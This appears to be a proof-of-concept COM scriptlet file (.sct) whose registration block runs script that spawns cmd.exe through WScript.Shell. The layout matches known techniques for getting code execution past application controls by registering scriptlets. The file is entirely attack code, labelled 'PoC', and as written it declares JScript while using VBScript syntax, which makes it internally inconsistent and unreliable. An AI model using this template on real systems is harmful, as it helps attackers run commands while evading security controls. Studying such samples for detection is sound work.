<?XML version="1.0"?>
<scriptlet>
<registration
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
        <![CDATA[
               Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.run "cmd.exe"
]]>
</script>
</registration>
</scriptlet>